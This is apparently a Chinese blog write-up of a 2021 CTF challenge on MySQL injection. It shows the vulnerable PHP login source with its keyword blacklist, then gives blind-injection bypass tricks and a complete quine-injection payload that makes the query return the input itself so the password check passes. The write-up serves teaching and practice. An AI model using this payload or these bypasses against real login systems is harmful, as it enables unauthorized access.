[第五空间 2021]yet_another_mysql_injection

首先题目给了源代码(ctrl u有提示)

 <?php

include_once("lib.php");
function 
alertMes($mes,$url){
    die(
"<script>alert('{$mes}');location.href='{$url}';</script>");
}

function 
checkSql($s) {
    if(
preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        
alertMes('hacker''index.php');
    }
}

if (isset(
$_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
    
$username=$_POST['username'];
    
$password=$_POST['password'];
    if (
$username !== 'admin') {
        
alertMes('only admin can login''index.php');
    }
    
checkSql($password);
    
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
    
$user_result=mysqli_query($con,$sql);
    
$row mysqli_fetch_array($user_result);
    if (!
$row) {
        
alertMes("something wrong",'index.php');
    }
    if (
$row['password'] === $password) {
        die(
$FLAG);
    } else {
    
alertMes("wrong password",'index.php');
  }
}

if(isset(
$_GET['source'])){
  
show_source(__FILE__);
  die;
}
?>

 

分析一下,发现过滤了很多函数,尝试利用没过滤的函数去进行sql盲注,因为这个题目有两种回显,一个是something wrong 一个是wrong password可以尝试bool盲注,如果没有这个则尝试时间盲注。

利用

/**/ --> space

mid --> substr

least --> <

greatest --> >

admin --> 'admi%' (%是sql的通配符)

发现能够成功注出来密码,但是密码是错的。

 

说明这个题目不是考察sql盲注

这个题目考察的是quine注入

 

 

quine注入

核心思想:

sql语句执行的结果等于sql语句本身

即利用sql执行的结果等于它本身绕过判断:

$row['password'] === $password

 

payload如下:

'/**/union/**/select(REPLACE(REPLACE('"/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#',CHAR(34),CHAR(39)),CHAR(33),'"/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#'))#

 

 

利用REPLACE函数进行单引号双引号的替换。

替换过程可见此处

其实就是执行了以后一直套娃,然后会变成最开始的样子。

 

posted @ 2022-07-28 15:27  FPointmaple  阅读(417)  评论(1编辑  收藏  举报